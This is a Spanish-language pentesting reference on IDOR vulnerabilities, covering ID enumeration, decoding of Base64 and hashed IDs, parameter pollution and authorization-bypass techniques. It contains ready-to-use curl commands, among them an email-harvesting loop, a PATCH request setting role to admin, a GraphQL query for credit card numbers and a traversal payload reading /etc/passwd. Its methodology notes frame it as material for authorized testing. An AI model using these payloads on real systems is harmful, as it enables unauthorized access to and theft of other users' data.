IDOR (Insecure Direct Object Reference)
Un IDOR ocurre cuando una aplicación expone una referencia directa a un objeto interno (un ID numérico, un UUID, un nombre de archivo, una clave de base de datos) y permite acceder o modificar ese objeto sin verificar adecuadamente que el usuario autenticado tiene autorización sobre él. A diferencia de otras vulnerabilidades, un IDOR no requiere "romper" ningún mecanismo técnico complejo — el fallo está en la lógica de autorización, no en la autenticación en sí: el atacante suele estar perfectamente autenticado, solo que como un usuario distinto al dueño legítimo del recurso.
Identificando candidatos a IDOR
Manipulación simple de parámetros
Incrementar/decrementar un ID numérico y comparar respuestas:
curl -u user1:pass1 http://api.target.com/v1/users/123/profile
curl -u user1:pass1 http://api.target.com/v1/users/124/profileCuando el identificador es un UUID/hash, predecir valores cercanos (viable si el UUID no es realmente aleatorio — ver sección de UUID más abajo):
curl -u user1:pass1 http://api.target.com/v1/users/550e8400-e29b-41d4-a716-446655440000/profile
curl -u user1:pass1 http://api.target.com/v1/users/550e8400-e29b-41d4-a716-446655440001/profileHTTP Parameter Pollution (HPP)
Enviar el mismo parámetro dos veces con valores distintos puede confundir la lógica de autorización si esta valida solo la primera (o la última) ocurrencia, mientras que la lógica de negocio usa la otra:
curl "http://target.com/download?file_id=legit123&file_id=admin456"
curl "http://target.com/api?user_id=valid123&user_id=victim789"- El comportamiento exacto (qué ocurrencia "gana") depende del framework/servidor — Node.js/Express, PHP y ASP.NET manejan parámetros duplicados de forma distinta, por lo que vale la pena probar el orden en ambos sentidos.
Inspección de llamadas AJAX en el código fuente/JS
Revisar el JavaScript del lado del cliente a menudo revela parámetros que la interfaz no expone visualmente, pero que la API sí acepta — como un campo is_admin enviado silenciosamente en cada petición:
function changeUserPassword() {
$.ajax({
url:"change_password.php",
type: "post",
dataType: "json",
data: {uid: user.uid, password: user.password, is_admin: is_admin},
success:function(result){
//
}
});
}- Si
is_adminse lee del estado del cliente (manipulable) en vez de validarse en el servidor contra la sesión real, se puede alterar ese valor directamente en la petición para escalar privilegios — este patrón se solapa con Mass Assignment / Insecure Object Property injection.
Identificadores basados en hash/encoding predecible
Cuando el identificador no es un ID secuencial obvio, sino el resultado de aplicar una función determinística (hash, encoding) a un valor predecible:
$.ajax({
url:"download.php",
type: "post",
dataType: "json",
data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
success:function(result){
//
}
});- Si se puede inferir el patrón de nombres de archivo (
file_1.pdf,file_2.pdf, ...), se puede regenerar el hash correspondiente a cada nombre localmente y solicitar cada uno, sin necesidad de fuerza bruta sobre el espacio completo del hash.
Comparar roles/estructura de respuesta entre usuarios
Comparar las respuestas JSON de dos cuentas con roles distintos a menudo revela endpoints o atributos ocultos que un usuario de menor privilegio no debería poder alcanzar directamente pero que existen igual en la API:
{
"attributes" :
{
"type" : "salary",
"url" : "/services/data/salaries/users/1"
},
"Id" : "1",
"Name" : "User1"
}- La URL
urlembebida en la respuesta de un endpoint aparentemente inocuo puede ser el propio vector de IDOR — vale la pena registrar y probar cada URL/referencia que aparezca en cualquier respuesta JSON de la aplicación, no solo las rutas visibles en la interfaz.
Enumeración sistemática de IDs
Incremento/decremento de ID numérico
curl "https://target.com/api/user/101" # Petición válida (tu propia cuenta)
curl "https://target.com/api/user/102" # Probar otro usuario
curl "https://target.com/api/user/100" # Probar ID anterior
curl "https://target.com/api/user/099" # Probar con cero a la izquierda- Probar ceros a la izquierda, IDs negativos, y el valor
0— algunos parsers de framework normalizan estos casos de forma inconsistente con la validación de autorización.
Manipulación de UUID/GUID
Los UUID v1 (basados en timestamp + MAC address) y v2 son predecibles y potencialmente fuerza-bruteables, a diferencia de los v4 (aleatorios):
curl "https://target.com/api/invoice/550e8400-e29b-41d4-a716-446655440000"
curl "https://target.com/api/invoice/550e8400-e29b-41d4-a716-446655440001"- Antes de intentar fuerza bruta sobre un UUID, identificar la versión (el 13er carácter del UUID indica la versión:
1,4, etc.) para saber si el esfuerzo tiene sentido — un UUIDv4 real es computacionalmente inviable de adivinar.
Cracking de IDs con apariencia de hash
# Si el ID luce como un hash (ej. "d4d4d4d4"), probar variantes:
curl "https://target.com/api/doc/d4d4d4d4" # Original
curl "https://target.com/api/doc/a1b2c3d4" # Intento de fuerza brutaSi se sospecha que el hash corresponde a un valor de rango pequeño y conocido (por ejemplo, un ID numérico corto hasheado con MD5), se puede forzar el espacio completo con hashcat en modo de fuerza bruta:
❯ hashcat -m 0 -a 3 "5f4dcc3b5aa765d61d8327deb882cf99" ?d?d?d-m 0: modo MD5.-a 3: ataque de fuerza bruta con máscara.?d?d?d: máscara de 3 dígitos numéricos — ajustar la longitud/tipo de máscara según el rango de IDs esperado.
Encoding personalizado (XOR, desplazamiento de bits)
Cuando el ID visible es el resultado de una transformación matemática simple sobre el ID real:
# Si user_id=246 corresponde a real_id=118 (246 = 118*2 + 10)
real_id = (246 - 10) // 2 # Retorna 118- Detectar este patrón normalmente requiere comparar varios pares (ID visible, comportamiento observado) y probar relaciones aritméticas simples (suma constante, multiplicación, XOR con una clave fija) hasta encontrar una que sea consistente.
Bypass de IDs codificados/ofuscados
IDs en Base64
# Ejemplo: /user/MTIz (donde "MTIz" = Base64 de "123")
❯ echo "123" | base64 # Retorna "MTIz"
❯ curl "https://target.com/api/user/MTIz" # Original
❯ curl "https://target.com/api/user/MTI0" # Incrementado (124)Automatizar la enumeración de un rango completo:
❯ for i in {100..110}; do
encoded=$(echo -n $i | base64 | tr -d '\n')
curl -s "https://target.com/api/user/$encoded" | grep "email"
doneIDs hasheados (MD5, SHA1, etc.)
# Si user_id luce como un hash (ej. "5f4dcc3b5aa765d61d8327deb882cf99" = MD5("password"))
❯ echo -n "101" | md5sum | cut -d' ' -f1 # Retorna el hash de "101"
❯ curl "https://target.com/api/user/$(echo -n '102' | md5sum | cut -d' ' -f1)"IDOR en APIs
REST
# Incremento numérico
curl "https://api.target.com/v1/users/101"
curl "https://api.target.com/v1/users/102"
# Manipulación de UUID
curl "https://api.target.com/v1/invoices/550e8400-e29b-41d4-a716-446655440000"
curl "https://api.target.com/v1/invoices/550e8400-e29b-41d4-a716-446655440001"
# Usar PUT/PATCH para modificar otros usuarios
curl -X PATCH "https://api.target.com/v1/users/102" -d '{"role":"admin"}'- Comprobar siempre los métodos de escritura (
PUT,PATCH,DELETE) contra IDs de otros usuarios, no soloGET— un endpoint puede validar correctamente autorización en la lectura pero no en la modificación (un patrón de IDOR muy común y de alto impacto).
GraphQL
# Consultar datos de otro usuario directamente
query {
user(id: "encoded_user_id_here") {
email
creditCards { number }
}
}
# Ataque de consulta por lotes (batch query)
query {
user1: user(id: "encoded_id_1") { email }
user2: user(id: "encoded_id_2") { email }
}- El batching de GraphQL permite consultar múltiples recursos en una sola petición HTTP, lo que además de ser un vector de IDOR es útil para acelerar la enumeración masiva evitando límites de tasa por petición.
- Revisar también la introspección del schema (
__schema,__type) si está habilitada, ya que puede revelar campos y relaciones no documentadas públicamente que valen la pena probar.
SOAP (XML)
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserDetails>
<userId>ENCODED_ID_HERE</userId>
</GetUserDetails>
</soap:Body>
</soap:Envelope>Bypass de protecciones de autorización
Cambio de método HTTP
# Si GET está bloqueado/protegido, probar POST u otros métodos
curl -X POST "https://target.com/api/user/ENCODED_ID"- Ver
http_verb_tampering.mdpara el catálogo completo de técnicas de manipulación de verbos HTTP, que se combina directamente con IDOR cuando la autorización solo está implementada para un método específico.
Cabeceras de spoofing de API Key/identidad
curl -H "X-API-Key: 12345" "https://target.com/api/user/ENCODED_ID"Contaminación de parámetros (variando el nombre)
# Si `user_id` está validado, probar nombres alternativos que la lógica de negocio
# podría leer sin pasar por la misma capa de autorización
curl "https://target.com/profile?id=100"
curl "https://target.com/profile?user_id=100"
curl "https://target.com/profile?uid=100"
curl "https://target.com/profile?account=100"curl "https://target.com/api/data?user_id=VALID_ID&account_id=VICTIM_ID"HPP combinado con traversal (para endpoints de descarga de archivos)
curl "https://target.com/download?file=legit.pdf&file=../../etc/passwd"Herramientas de automatización
- Autorize (extensión de Burp Suite): automatiza la detección de IDOR/broken access control repitiendo cada petición capturada con la sesión de un usuario de menor privilegio, y comparando las respuestas.
- Authmatrix (extensión de Burp Suite): permite definir una matriz de roles/usuarios y probar sistemáticamente cada endpoint contra cada combinación.
- Ambas herramientas reducen significativamente el trabajo manual cuando la aplicación tiene muchos endpoints y varios roles distintos que probar de forma cruzada.
Notas de metodología
- Siempre probar con al menos dos cuentas de prueba de distinto privilegio (no solo una), para poder comparar respuestas de forma sistemática en vez de depender de suposiciones sobre qué debería o no ser accesible.
- Un IDOR "de solo lectura" (ver datos de otro usuario) y uno "de escritura" (modificar/eliminar datos de otro usuario) tienen severidades muy distintas — clasificar claramente cuál se logró en el reporte.
- Encadenar un IDOR con otros hallazgos (por ejemplo, usar un IDOR para leer el token de restablecimiento de contraseña de otro usuario) suele aumentar significativamente el impacto reportable frente a un IDOR aislado de bajo riesgo.